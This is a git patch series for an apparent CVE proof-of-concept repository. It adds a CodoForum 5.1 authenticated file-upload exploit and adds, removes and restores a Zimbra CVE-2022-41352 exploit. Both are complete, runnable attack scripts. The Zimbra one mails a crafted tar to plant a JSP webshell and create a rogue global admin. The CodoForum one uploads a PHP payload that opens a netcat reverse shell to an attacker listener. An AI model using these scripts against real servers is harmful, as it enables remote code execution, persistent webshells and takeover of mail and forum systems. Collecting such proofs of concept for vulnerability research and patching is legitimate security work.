From 84ae85b55fad14ce45ede5fb1e36a887a4df048b Mon Sep 17 00:00:00 2001 From: panjun Date: Wed, 26 Apr 2023 14:34:25 +0800 Subject: [PATCH 1/3] CVE-2022-31854 --- .../2022/CVE-2022-41352/cve-2022-41352.py | 236 ------------------ cve/codoforum/2022/CVE-2022-31854/README.md | 6 + cve/codoforum/2022/CVE-2022-31854/exploit.py | 89 +++++++ .../2022/CVE-2022-31854/requirements.txt | 2 + cve/codoforum/2022/yaml/CVE-2022-31854.yaml | 22 ++ openkylin_list.yaml | 2 + 6 files changed, 121 insertions(+), 236 deletions(-) delete mode 100644 cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py create mode 100644 cve/codoforum/2022/CVE-2022-31854/README.md create mode 100644 cve/codoforum/2022/CVE-2022-31854/exploit.py create mode 100644 cve/codoforum/2022/CVE-2022-31854/requirements.txt create mode 100644 cve/codoforum/2022/yaml/CVE-2022-31854.yaml diff --git a/cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py b/cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py deleted file mode 100644 index d440f7e6..00000000 --- a/cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py +++ /dev/null @@ -1,236 +0,0 @@ -#!/usr/bin/env python3 - -import sys -import smtplib -import argparse -from time import sleep -from email.mime.multipart import MIMEMultipart -from email.mime.application import MIMEApplication -from email.mime.text import MIMEText -import requests -from requests.packages.urllib3.exceptions import InsecureRequestWarning - -# CONFIGURATION -#---------------------------------- -TARGET = 'mail.test.org' -WEBSHELL_PATH = '/public/jsp' -WEBSHELL_NAME = 'Startup1_3.jsp' -ATTACHMENT = 'payload.tar' -SENDER = 'test@test.org' -RECIPIENT = 'admin@test.org' - -EMAIL_SUBJECT = 'CVE-2022-41352' -EMAIL_BODY = 'Just testing.

Don\'t mind me.

' -#---------------------------------- - -# Only change this if zimbra was not installed in the default location -UPLOAD_BASE = '/opt/zimbra/jetty_base/webapps/zimbra' - - -def create_tar_payload(payload, payload_name, payload_path, lnk='startup'): - # Block 1 - link = lnk.encode() - mode = b'0000777\x00' # link permissions - ouid = b'0001745\x00' # octal uid (997) - ogid = b'0001745\x00' # octal gid - lnsz = b'00000000000\x00' # file size (link = 0) - lmod = b'14227770134\x00' # last modified (octal unix) - csum = b' ' # checksum = 8 blanks - type = b'2' # type (link = 2) - targ = payload_path.encode() # link target - magi = b'ustar \x00' # ustar magic bytes + version - ownu = b'zimbra' # user owner - owng = b'zimbra' # group owner - vers = b'\x00'*8 + b'\x00'* 8 # device major and minor - pref = b'\x00'*155 # prefix (only used if the file name length exceeds 100) - - raw_b1_1 = link + b'\x00'*(100-len(link)) + mode + ouid + ogid + lnsz + lmod - raw_b1_2 = type + targ + b'\x00'*(100-len(targ)) + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref - # calculate and insert checksum - csum = oct(sum(b for b in raw_b1_1+csum+raw_b1_2))[2:] - raw_b1 = raw_b1_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b1_2 - # pad block to 512 - raw_b1 += b'\00'*(512-len(raw_b1)) - - # Block 2 - mode = b'0000644\x00' # file permissions - file = f'{lnk}/{payload_name}'.encode() - flsz = oct(len(payload))[2:] # file size - csum = b' ' # checksum = 8 blanks - type = b'0' # type (file = 0) - targ = b'\x00'*100 # link target = none - - raw_b2_1 = file + b'\x00'*(100-len(file)) + mode + ouid + ogid + f'{flsz:>011}'.encode() + b'\x00' + lmod - raw_b2_2 = type + targ + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref - # calculate and insert checksum - csum = oct(sum(b for b in raw_b2_1+csum+raw_b2_2))[2:] - raw_b2 = raw_b2_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b2_2 - # pad block to 512 - raw_b2 += b'\00'*(512-len(raw_b2)) - - - # Assemble - raw_tar = raw_b1 + raw_b2 + payload + b'\x00'*(512-(len(payload)%512)) - raw_tar += b'\x00' * 512 * 2 # Trailer: end with 2 empty blocks - - return raw_tar - -# Update this if you want to use a legit email account for sending the payload -def smtp_send_file(target, sender, recipient, subject, body, attachment, attachment_name): - msg = MIMEMultipart() - msg['Subject'] = subject - msg['From'] = sender - msg['To'] = recipient - - message = MIMEText(body, 'html') - msg.attach(message) - - att = MIMEApplication(attachment) - att.add_header('Content-Disposition', 'attachment', filename=attachment_name) - msg.attach(att) - - try: - print(f'>>> Sending payload') - smtp_server = smtplib.SMTP(target,25) - smtp_server.sendmail(sender, recipient, msg.as_string()) - print(f'>>> Payload delivered') - except Exception as e: - print(f'[!] Failed to send the mail: {e}') - sys.exit(1) - -def verify_upload(target, shell, path): - print(f'>>> Verifying upload to {path}/{shell} ...') - sleep(5) # give the server time to process the email - resp = requests.get(f'https://{target}{path}/{shell}', verify=False) - if resp.status_code == 200: - print(f'>>> [PWNED] Upload successful!') - else: - print(f'>>> Upload unsuccesful :(') - sys.exit(1) - -def create_new_zimbra_admin(target, shell, path): - url = f'https://{target}' - pw = 'Pwn1ng_Z1mbra_!s_fun' - print(f'>>> Adding a new global administrator') - if (input(f'>>> Are you sure you want to continue? (yN): ') != 'y'): - sys.exit(0) - admin = input(f'>>> Enter the new admin email (newadmin@domain.com): ') - r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ca {admin} {pw}', verify=False) - r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ma {admin} zimbraIsAdminAccount TRUE', verify=False) - - print(f'>>> Login to {url}:7071/zimbraAdmin/ with:') - print(f'>>> Email : {admin}') - print(f'>>> Password : {pw}') - - -def main(args): - global TARGET,WEBSHELL_PATH,WEBSHELL_NAME,ATTACHMENT,SENDER,RECIPIENT,EMAIL_SUBJECT,EMAIL_BODY - - # Kali JSP WebShell - payload = b'
<%@ page import="java.io.*" %><% String cmd=request.getParameter("task");String output="";if(cmd!=null){String s=null;try {Process p=Runtime.getRuntime().exec(cmd);BufferedReader sI=new BufferedReader(new InputStreamReader(p.getInputStream()));while((s = sI.readLine())!=null){output+=s;}}catch(IOException e){e.printStackTrace();}} %>
<%=output %>
' - - # Using this instead of argparse default values to allow easy manual configuration as well - if args.payload: - try: - with open(args.payload, 'rb') as f: - payload = f.read() - except Exception as e: - print(f'Failed to read {args.payload}: {e}') - sys.exit(1) - print(f'>>> Using custom payload from: {args.payload}') - else: - print(f'>>> Using default payload: JSP Webshell') - if args.path: - WEBSHELL_PATH = args.path - if args.file: - WEBSHELL_NAME = args.file - if args.attach: - ATTACHMENT = args.attach - - tar = create_tar_payload(payload, WEBSHELL_NAME, UPLOAD_BASE+WEBSHELL_PATH) - - print(f'>>> Assembled payload attachment: {ATTACHMENT}') - print(f'>>> Payload will be extracted to ({UPLOAD_BASE}){WEBSHELL_PATH}/{WEBSHELL_NAME}') - if args.mode == 'manual': - with open(ATTACHMENT, 'wb') as f: - f.write(tar) - print(f'>>> Attachment saved locally.') - sys.exit(0) - - if args.target: - TARGET = args.target - - print(f'>>> Targeting {TARGET}') - - if args.sender: - SENDER = args.sender - if args.recip: - RECIPIENT = args.recip - if args.subject: - EMAIL_SUBJECT = args.subject - if args.body: - try: - with open(args.body, 'rb') as f: - EMAIL_BODY = f.read().decode() - except Exception as e: - print(f'Failed to read {args.body}: {e}') - sys.exit(1) - print(f'>>> Using custom email body from: {args.body}') - - - smtp_send_file( TARGET, - SENDER, - RECIPIENT, - EMAIL_SUBJECT, - EMAIL_BODY, - tar, - ATTACHMENT ) - - requests.packages.urllib3.disable_warnings(InsecureRequestWarning) - - verify_upload(TARGET, WEBSHELL_NAME, WEBSHELL_PATH) - - print(f'>>> Shell at: https://{TARGET}{WEBSHELL_PATH}/{WEBSHELL_NAME}') - if args.mode == 'auto': - sys.exit(0) - - if args.payload: - print(f'>>> (!) "fullpwn" depends on the default JSP webshell - won\'t create the admin account') - else: - create_new_zimbra_admin(TARGET, WEBSHELL_NAME, WEBSHELL_PATH) - - sys.exit(0) - -if __name__ == '__main__': - epi = ''' -Alternatively, edit the script to change the default configuration. - -The available modes are: - - manual : Only create the payload - you have to deploy the payload yourself. - auto : Create a webshell and deploy it via SMTP. - fullpwn : After deploying a webshell, add a new global mail administrator. -''' - - p = argparse.ArgumentParser( - description = 'CVE-2022-41352 Zimbra RCE', - formatter_class = argparse.RawDescriptionHelpFormatter, - epilog = epi - ) - p.add_argument('mode', metavar='mode', choices=['manual', 'auto', 'fullpwn'], help='(manual|auto|fullpwn) - see below') - - p.add_argument('--target', required=False, metavar='', dest='target', help=f'the target server (default: "{TARGET}")') - p.add_argument('--payload', required=False, metavar='', help='the file to save on the target (default: jsp webshell)') - p.add_argument('--path', required=False, metavar='', help=f'relative path for the file upload (default: "{WEBSHELL_PATH}")') - p.add_argument('--file', required=False, metavar='', help=f'name of the uploaded file (default: "{WEBSHELL_NAME}")') - p.add_argument('--attach', required=False, metavar='', help=f'name of the email attachment containing the payload (default: "{ATTACHMENT}")') - p.add_argument('--sender', required=False, metavar='', help=f'sender mail address (default: "{SENDER}")') - p.add_argument('--recip', required=False, metavar='', help=f'recipient mail address (default: "{RECIPIENT}") (if you can deploy the email directly to the server, neither the sender nor the recipient have to exist for the exploit to work)') - p.add_argument('--subject', required=False, metavar='', help=f'subject to use in the email (default: "{EMAIL_SUBJECT}")') - p.add_argument('--body', required=False, metavar='', help=f'file containing the html content for the email body (default: "{EMAIL_BODY}")') - - args = p.parse_args() - - main(args) diff --git a/cve/codoforum/2022/CVE-2022-31854/README.md b/cve/codoforum/2022/CVE-2022-31854/README.md new file mode 100644 index 00000000..4457882d --- /dev/null +++ b/cve/codoforum/2022/CVE-2022-31854/README.md @@ -0,0 +1,6 @@ +# CVE-2022-31854 Proof-of-Concept + +### Overview + +References to Advisories, Solutions, and Tools +By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites because they may have information that would be of interest to you. No inferences should be drawn on account of other sites being referenced, or not, from this page. There may be other web sites that are more appropriate for your purpose. NIST does not necessarily endorse the views expressed, or concur with the facts presented on these sites. Further, NIST does not endorse any commercial products that may be mentioned on these sites. Please address comments about this page to nvd@nist.gov. \ No newline at end of file diff --git a/cve/codoforum/2022/CVE-2022-31854/exploit.py b/cve/codoforum/2022/CVE-2022-31854/exploit.py new file mode 100644 index 00000000..d31cb3a2 --- /dev/null +++ b/cve/codoforum/2022/CVE-2022-31854/exploit.py @@ -0,0 +1,89 @@ +# Exploit Title: CodoForum v5.1 - File Upload Bypass to RCE (Authenticated) +# Date: 06/07/2022 +# Exploit Author: Krish Pandey (@vikaran101) +# Vendor Homepage: https://codoforum.com/ +# Software Link: https://bitbucket.org/evnix/codoforum_downloads/downloads/codoforum.v.5.1.zip +# Version: CodoForum v5.1 +# Tested on: Ubuntu 20.04 +# CVE: CVE-2022-31854 + +#!/usr/bin/python3 + +import requests +import time +import optparse +import random +import string + +banner = """ + ______ _______ ____ ___ ____ ____ _____ _ ___ ____ _ _ + / ___\ \ / / ____| |___ \ / _ \___ \|___ \ |___ // |( _ ) ___|| || | +| | \ \ / /| _| _____ __) | | | |__) | __) |____ |_ \| |/ _ \___ \| || |_ +| |___ \ V / | |__|_____/ __/| |_| / __/ / __/_____|__) | | (_) |__) |__ _| + \____| \_/ |_____| |_____|\___/_____|_____| |____/|_|\___/____/ |_| +""" + +print("\nCODOFORUM V5.1 ARBITRARY FILE UPLOAD TO RCE(Authenticated)") +print(banner) +print("\nExploit found and written by: @vikaran101\n") + +parser = optparse.OptionParser() +parser.add_option('-t', '--target-url', action="store", dest='target', help='path of the CodoForum v5.1 install') +parser.add_option('-u', '--username', action="store", dest='username', help='admin username') +parser.add_option('-p', '--password', action="store", dest='password', help='admin password') +parser.add_option('-i', '--listener-ip', action="store", dest='ip', help='listener address') +parser.add_option('-n', '--port', action="store", dest='port', help='listener port number') + +options, args = parser.parse_args() + +proxy = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'} + +if not options.target or not options.username or not options.password or not options.ip or not options.port: + print("[-] Missing arguments!") + print("[*] Example usage: ./exploit.py -t [target url] -u [username] -p [password] -i [listener ip] -n [listener port]") + print("[*] Help menu: ./exploit.py -h OR ./exploit.py --help") + exit() + +loginURL = options.target + '/admin/?page=login' +globalSettings = options.target + '/admin/index.php?page=config' +payloadURL = options.target + '/sites/default/assets/img/attachments/' + +session = requests.Session() + +randomFileName = ''.join((random.choice(string.ascii_lowercase) for x in range(10))) + +def getPHPSESSID(): + + try: + get_PHPID = session.get(loginURL) + headerDict = get_PHPID.headers + cookies = headerDict['Set-Cookie'].split(';')[0].split('=')[1] + return cookies + except: + exit() + +phpID = getPHPSESSID() + +def login(): + send_cookies = {'cf':'0'} + send_headers = {'Host': loginURL.split('/')[2], 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Language':'en-US,en;q=0.5','Accept-Encoding':'gzip, deflate','Content-Type':'multipart/form-data; boundary=---------------------------2838079316671520531167093219','Content-Length':'295','Origin':loginURL.split('/')[2],'Connection':'close','Referer':loginURL,'Upgrade-Insecure-Requests':'1'} + send_creds = "-----------------------------2838079316671520531167093219\nContent-Disposition: form-data; name=\"username\"\n\nadmin\n-----------------------------2838079316671520531167093219\nContent-Disposition: form-data; name=\"password\"\n\nadmin\n-----------------------------2838079316671520531167093219--" + auth = session.post(loginURL, headers=send_headers, cookies=send_cookies, data=send_creds, proxies=proxy) + + if "CODOFORUM | Dashboard" in auth.text: + print("[+] Login successful") + +def uploadAndExploit(): + send_cookies = {'cf':'0', 'user_id':'1', 'PHPSESSID':phpID} + send_headers = {'Content-Type':'multipart/form-data; boundary=---------------------------7450086019562444223451102689'} + send_payload = '\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="site_title"\n\nCODOLOGIC\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="site_description"\n\ncodoforum - Enhancing your forum experience with next generation technology!\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="admin_email"\n\nadmin@codologic.com\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="default_timezone"\n\nEurope/London\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="register_pass_min"\n\n8\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="num_posts_all_topics"\n\n30\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="num_posts_cat_topics"\n\n20\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="num_posts_per_topic"\n\n20\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_path"\n\nassets/img/attachments\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_exts"\n\njpg,jpeg,png,gif,pjpeg,bmp,txt\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_size"\n\n3\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_mimetypes"\n\nimage/*,text/plain\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_tags_num"\n\n5\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_tags_len"\n\n15\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="reply_min_chars"\n\n10\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="insert_oembed_videos"\n\nyes\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_privacy"\n\neveryone\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="approval_notify_mails"\n\n\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_header_menu"\n\nsite_title\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_logo"; filename="' + randomFileName + '.php"\nContent-Type: application/x-php\n\n&1|nc ' + options.ip + ' ' + options.port + ' >/tmp/f");?> \n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="login_by"\n\nUSERNAME\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="force_https"\n\nno\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="user_redirect_after_login"\n\ntopics\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="sidebar_hide_topic_messages"\n\noff\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="sidebar_infinite_scrolling"\n\non\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="show_sticky_topics_without_permission"\n\nno\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="CSRF_token"\n\n23cc3019cadb6891ebd896ae9bde3d95\n-----------------------------7450086019562444223451102689--\n' + exploit = requests.post(globalSettings, headers=send_headers, cookies=send_cookies, data=send_payload, proxies=proxy) + + print("[*] Checking webshell status and executing...") + payloadExec = session.get(payloadURL + randomFileName + '.php', proxies=proxy) + if payloadExec.status_code == 200: + print("[+] Payload uploaded successfully and executed, check listener") + else: + print("[-] Something went wrong, please try uploading the shell manually(admin panel > global settings > change forum logo > upload and access from " + payloadURL +"[file.php])") +login() +uploadAndExploit() diff --git a/cve/codoforum/2022/CVE-2022-31854/requirements.txt b/cve/codoforum/2022/CVE-2022-31854/requirements.txt new file mode 100644 index 00000000..f2e8afac --- /dev/null +++ b/cve/codoforum/2022/CVE-2022-31854/requirements.txt @@ -0,0 +1,2 @@ +requests +optparse diff --git a/cve/codoforum/2022/yaml/CVE-2022-31854.yaml b/cve/codoforum/2022/yaml/CVE-2022-31854.yaml new file mode 100644 index 00000000..6a16ca2b --- /dev/null +++ b/cve/codoforum/2022/yaml/CVE-2022-31854.yaml @@ -0,0 +1,22 @@ +id: CVE-2022-31854 +source: https://github.com/Vikaran101/CVE-2022-31854 +info: + name: Codoforum – a freemium, cross-platform forum application, which requires a PHP based web server to work. + severity: high + description: | + Codoforum v5.1 was discovered to contain an arbitrary file upload vulnerability via the logo change option in the admin panel. + scope-of-influence: + Codoforum = 5.1 + reference: + - https://codoforum.com + - https://vikaran101.medium.com/codoforum-v5-1-authenticated-rce-my-first-cve-f49e19b8bc + - https://github.com/Vikaran101/CVE-2022-31854/blob/main/exploit.py + - http://packetstormsecurity.com/files/167782/CodoForum-5.1-Remote-Code-Execution.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2022-31854 + cwe-id: CWE-434 + cnvd-id: None + kve-id: None + tags: RCE,cve2022,危险类型文件的不加限制上传 \ No newline at end of file diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 5d5c89dd..df48a30d 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -87,6 +87,8 @@ cve: - CVE-2022-2992 - CVE-2022-2185 - CVE-2022-2884 + codoforum: + - CVE-2022-31854 confluence: - CVE-2019-3394 - CVE-2019-3396 -- Gitee From 8cdf8836a20765583f7ac910992e800d8235e155 Mon Sep 17 00:00:00 2001 From: panjun Date: Wed, 26 Apr 2023 15:33:19 +0800 Subject: [PATCH 2/3] =?UTF-8?q?=E6=8F=90=E4=BA=A4CVE-2022-31854=E4=BF=AE?= =?UTF-8?q?=E6=94=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../2022/CVE-2022-41352/cve-2022-41352.py | 236 ++++++++++++++++++ cve/codoforum/2022/yaml/CVE-2022-31854.yaml | 4 +- 2 files changed, 238 insertions(+), 2 deletions(-) create mode 100644 cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py diff --git a/cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py b/cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py new file mode 100644 index 00000000..d440f7e6 --- /dev/null +++ b/cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py @@ -0,0 +1,236 @@ +#!/usr/bin/env python3 + +import sys +import smtplib +import argparse +from time import sleep +from email.mime.multipart import MIMEMultipart +from email.mime.application import MIMEApplication +from email.mime.text import MIMEText +import requests +from requests.packages.urllib3.exceptions import InsecureRequestWarning + +# CONFIGURATION +#---------------------------------- +TARGET = 'mail.test.org' +WEBSHELL_PATH = '/public/jsp' +WEBSHELL_NAME = 'Startup1_3.jsp' +ATTACHMENT = 'payload.tar' +SENDER = 'test@test.org' +RECIPIENT = 'admin@test.org' + +EMAIL_SUBJECT = 'CVE-2022-41352' +EMAIL_BODY = 'Just testing.

Don\'t mind me.

' +#---------------------------------- + +# Only change this if zimbra was not installed in the default location +UPLOAD_BASE = '/opt/zimbra/jetty_base/webapps/zimbra' + + +def create_tar_payload(payload, payload_name, payload_path, lnk='startup'): + # Block 1 + link = lnk.encode() + mode = b'0000777\x00' # link permissions + ouid = b'0001745\x00' # octal uid (997) + ogid = b'0001745\x00' # octal gid + lnsz = b'00000000000\x00' # file size (link = 0) + lmod = b'14227770134\x00' # last modified (octal unix) + csum = b' ' # checksum = 8 blanks + type = b'2' # type (link = 2) + targ = payload_path.encode() # link target + magi = b'ustar \x00' # ustar magic bytes + version + ownu = b'zimbra' # user owner + owng = b'zimbra' # group owner + vers = b'\x00'*8 + b'\x00'* 8 # device major and minor + pref = b'\x00'*155 # prefix (only used if the file name length exceeds 100) + + raw_b1_1 = link + b'\x00'*(100-len(link)) + mode + ouid + ogid + lnsz + lmod + raw_b1_2 = type + targ + b'\x00'*(100-len(targ)) + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref + # calculate and insert checksum + csum = oct(sum(b for b in raw_b1_1+csum+raw_b1_2))[2:] + raw_b1 = raw_b1_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b1_2 + # pad block to 512 + raw_b1 += b'\00'*(512-len(raw_b1)) + + # Block 2 + mode = b'0000644\x00' # file permissions + file = f'{lnk}/{payload_name}'.encode() + flsz = oct(len(payload))[2:] # file size + csum = b' ' # checksum = 8 blanks + type = b'0' # type (file = 0) + targ = b'\x00'*100 # link target = none + + raw_b2_1 = file + b'\x00'*(100-len(file)) + mode + ouid + ogid + f'{flsz:>011}'.encode() + b'\x00' + lmod + raw_b2_2 = type + targ + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref + # calculate and insert checksum + csum = oct(sum(b for b in raw_b2_1+csum+raw_b2_2))[2:] + raw_b2 = raw_b2_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b2_2 + # pad block to 512 + raw_b2 += b'\00'*(512-len(raw_b2)) + + + # Assemble + raw_tar = raw_b1 + raw_b2 + payload + b'\x00'*(512-(len(payload)%512)) + raw_tar += b'\x00' * 512 * 2 # Trailer: end with 2 empty blocks + + return raw_tar + +# Update this if you want to use a legit email account for sending the payload +def smtp_send_file(target, sender, recipient, subject, body, attachment, attachment_name): + msg = MIMEMultipart() + msg['Subject'] = subject + msg['From'] = sender + msg['To'] = recipient + + message = MIMEText(body, 'html') + msg.attach(message) + + att = MIMEApplication(attachment) + att.add_header('Content-Disposition', 'attachment', filename=attachment_name) + msg.attach(att) + + try: + print(f'>>> Sending payload') + smtp_server = smtplib.SMTP(target,25) + smtp_server.sendmail(sender, recipient, msg.as_string()) + print(f'>>> Payload delivered') + except Exception as e: + print(f'[!] Failed to send the mail: {e}') + sys.exit(1) + +def verify_upload(target, shell, path): + print(f'>>> Verifying upload to {path}/{shell} ...') + sleep(5) # give the server time to process the email + resp = requests.get(f'https://{target}{path}/{shell}', verify=False) + if resp.status_code == 200: + print(f'>>> [PWNED] Upload successful!') + else: + print(f'>>> Upload unsuccesful :(') + sys.exit(1) + +def create_new_zimbra_admin(target, shell, path): + url = f'https://{target}' + pw = 'Pwn1ng_Z1mbra_!s_fun' + print(f'>>> Adding a new global administrator') + if (input(f'>>> Are you sure you want to continue? (yN): ') != 'y'): + sys.exit(0) + admin = input(f'>>> Enter the new admin email (newadmin@domain.com): ') + r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ca {admin} {pw}', verify=False) + r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ma {admin} zimbraIsAdminAccount TRUE', verify=False) + + print(f'>>> Login to {url}:7071/zimbraAdmin/ with:') + print(f'>>> Email : {admin}') + print(f'>>> Password : {pw}') + + +def main(args): + global TARGET,WEBSHELL_PATH,WEBSHELL_NAME,ATTACHMENT,SENDER,RECIPIENT,EMAIL_SUBJECT,EMAIL_BODY + + # Kali JSP WebShell + payload = b'
<%@ page import="java.io.*" %><% String cmd=request.getParameter("task");String output="";if(cmd!=null){String s=null;try {Process p=Runtime.getRuntime().exec(cmd);BufferedReader sI=new BufferedReader(new InputStreamReader(p.getInputStream()));while((s = sI.readLine())!=null){output+=s;}}catch(IOException e){e.printStackTrace();}} %>
<%=output %>
' + + # Using this instead of argparse default values to allow easy manual configuration as well + if args.payload: + try: + with open(args.payload, 'rb') as f: + payload = f.read() + except Exception as e: + print(f'Failed to read {args.payload}: {e}') + sys.exit(1) + print(f'>>> Using custom payload from: {args.payload}') + else: + print(f'>>> Using default payload: JSP Webshell') + if args.path: + WEBSHELL_PATH = args.path + if args.file: + WEBSHELL_NAME = args.file + if args.attach: + ATTACHMENT = args.attach + + tar = create_tar_payload(payload, WEBSHELL_NAME, UPLOAD_BASE+WEBSHELL_PATH) + + print(f'>>> Assembled payload attachment: {ATTACHMENT}') + print(f'>>> Payload will be extracted to ({UPLOAD_BASE}){WEBSHELL_PATH}/{WEBSHELL_NAME}') + if args.mode == 'manual': + with open(ATTACHMENT, 'wb') as f: + f.write(tar) + print(f'>>> Attachment saved locally.') + sys.exit(0) + + if args.target: + TARGET = args.target + + print(f'>>> Targeting {TARGET}') + + if args.sender: + SENDER = args.sender + if args.recip: + RECIPIENT = args.recip + if args.subject: + EMAIL_SUBJECT = args.subject + if args.body: + try: + with open(args.body, 'rb') as f: + EMAIL_BODY = f.read().decode() + except Exception as e: + print(f'Failed to read {args.body}: {e}') + sys.exit(1) + print(f'>>> Using custom email body from: {args.body}') + + + smtp_send_file( TARGET, + SENDER, + RECIPIENT, + EMAIL_SUBJECT, + EMAIL_BODY, + tar, + ATTACHMENT ) + + requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + + verify_upload(TARGET, WEBSHELL_NAME, WEBSHELL_PATH) + + print(f'>>> Shell at: https://{TARGET}{WEBSHELL_PATH}/{WEBSHELL_NAME}') + if args.mode == 'auto': + sys.exit(0) + + if args.payload: + print(f'>>> (!) "fullpwn" depends on the default JSP webshell - won\'t create the admin account') + else: + create_new_zimbra_admin(TARGET, WEBSHELL_NAME, WEBSHELL_PATH) + + sys.exit(0) + +if __name__ == '__main__': + epi = ''' +Alternatively, edit the script to change the default configuration. + +The available modes are: + + manual : Only create the payload - you have to deploy the payload yourself. + auto : Create a webshell and deploy it via SMTP. + fullpwn : After deploying a webshell, add a new global mail administrator. +''' + + p = argparse.ArgumentParser( + description = 'CVE-2022-41352 Zimbra RCE', + formatter_class = argparse.RawDescriptionHelpFormatter, + epilog = epi + ) + p.add_argument('mode', metavar='mode', choices=['manual', 'auto', 'fullpwn'], help='(manual|auto|fullpwn) - see below') + + p.add_argument('--target', required=False, metavar='', dest='target', help=f'the target server (default: "{TARGET}")') + p.add_argument('--payload', required=False, metavar='', help='the file to save on the target (default: jsp webshell)') + p.add_argument('--path', required=False, metavar='', help=f'relative path for the file upload (default: "{WEBSHELL_PATH}")') + p.add_argument('--file', required=False, metavar='', help=f'name of the uploaded file (default: "{WEBSHELL_NAME}")') + p.add_argument('--attach', required=False, metavar='', help=f'name of the email attachment containing the payload (default: "{ATTACHMENT}")') + p.add_argument('--sender', required=False, metavar='', help=f'sender mail address (default: "{SENDER}")') + p.add_argument('--recip', required=False, metavar='', help=f'recipient mail address (default: "{RECIPIENT}") (if you can deploy the email directly to the server, neither the sender nor the recipient have to exist for the exploit to work)') + p.add_argument('--subject', required=False, metavar='', help=f'subject to use in the email (default: "{EMAIL_SUBJECT}")') + p.add_argument('--body', required=False, metavar='', help=f'file containing the html content for the email body (default: "{EMAIL_BODY}")') + + args = p.parse_args() + + main(args) diff --git a/cve/codoforum/2022/yaml/CVE-2022-31854.yaml b/cve/codoforum/2022/yaml/CVE-2022-31854.yaml index 6a16ca2b..60153df1 100644 --- a/cve/codoforum/2022/yaml/CVE-2022-31854.yaml +++ b/cve/codoforum/2022/yaml/CVE-2022-31854.yaml @@ -4,7 +4,7 @@ info: name: Codoforum – a freemium, cross-platform forum application, which requires a PHP based web server to work. severity: high description: | - Codoforum v5.1 was discovered to contain an arbitrary file upload vulnerability via the logo change option in the admin panel. + 通过管理面板中的徽标更改选项发现Codoforum v5.1包含任意文件上传漏洞。 scope-of-influence: Codoforum = 5.1 reference: @@ -19,4 +19,4 @@ info: cwe-id: CWE-434 cnvd-id: None kve-id: None - tags: RCE,cve2022,危险类型文件的不加限制上传 \ No newline at end of file + tags: RCE, cve2022, 危险类型文件的不加限制上传 \ No newline at end of file -- Gitee From 8ad4d4293cd0b641d09ce73b5507509f2376191a Mon Sep 17 00:00:00 2001 From: panjun Date: Thu, 27 Apr 2023 13:41:54 +0800 Subject: [PATCH 3/3] =?UTF-8?q?=E5=B0=86=E8=BD=AF=E4=BB=B6=E6=8F=8F?= =?UTF-8?q?=E8=BF=B0=E8=BD=AC=E6=8D=A2=E4=B8=BA=E4=B8=AD=E6=96=87=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/codoforum/2022/yaml/CVE-2022-31854.yaml 